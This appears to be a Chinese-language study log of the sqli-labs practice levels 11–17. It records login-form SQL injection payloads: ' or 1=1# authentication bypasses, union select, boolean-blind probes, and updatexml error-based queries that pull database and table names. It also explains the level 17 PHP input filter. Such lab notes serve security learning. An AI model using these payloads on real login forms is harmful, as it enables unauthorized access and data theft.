less11
用戶名提交單引號顯示sql語法錯誤,故存在sql注入
根據單引號報錯,在用戶名和密碼任意行輸入 萬能密碼:‘ or 1=1#
輸入后username語句為:SELECT username, password FROM users WHERE username='' or 1=1;
雙引號
password語句:Select * from admin where username='admin' and password='' or 1=1#
單引號
還有比如:1'union select 1,database()#
less12
輸入雙引號有報出sql語法錯誤
根據雙引號報錯,語句為:") or 1=1#
less13:
查看注入類型
分別為") or 1=1#
和 ') or 1=1#
兩種方式都分別嘗試過
結果都一樣,只顯示進入,但是不顯示數據庫內容
看來又是盲注了
使用語句:username=admin')and left(database(),1)>'a'#&password=任意密碼
二分法或burp工具
less14
引號測試:
username:'")or 1=1#
單引號雙引號
password:")or 1=1#
雙引號
over~
less15
輸入任何內容回顯都一樣,判斷為布爾盲注和時間盲注
語句:’ or 1=1#
less16
同15:" or 1=1# 換成雙引號
less17
看源碼:
function check_input($value){if(!empty($value)){// truncation (see comments)$value = substr($value,0,15);}// Stripslashes if magic quotes enabledif (get_magic_quotes_gpc()){$value = stripslashes($value);}// Quote if not a numberif (!ctype_digit($value)){$value = "'" . mysql_real_escape_string($value) . "'";}else{$value = intval($value);}return $value;}
知識點:
函數get_magic_quotes_gpc()
當magic_quotes_gpc=On的時候,函數get_magic_quotes_gpc()就會返回1
當magic_quotes_gpc=Off的時候,函數get_magic_quotes_gpc()就會返回0
magic_quotes_gpc函數在php中的作用是判斷解析用戶提示的數據,如包括有:post、get、cookie過來的數據增加轉義字符“\”,以確保這些數據不會引起程序,特別是數據庫語句因為特殊字符引起的污染而出現致命的錯誤。
在magic_quotes_gpc = On的情況下,如果輸入的數據有
單引號(’)、雙引號(”)、反斜線(\)與 NULL(NULL 字符)等字符都會被加上反斜線。
stripslashes()刪除由 addslashes() 函數添加的反斜杠
ctype_digit()判斷是不是數字,是數字就返回true,否則返回false
mysql_real_escape_string()轉義 SQL 語句中使用的字符串中的特殊字符。
intval() 整型轉換
這一關中不能對username下手 要從passwordd開始
過程:
17關對username進行了嚴格的過濾
注入的格式:
admin' or updatexml(1, (concat('#',(payload))), 1) #
payload可以換成需要查詢的函數
數據庫名
admin' or updatexml(1, concat('#', database()), 1) #
表名
updatexml(1, concat("#", (select group_concat(table_name) from information_schema.tables where table_schema="security")), 0) #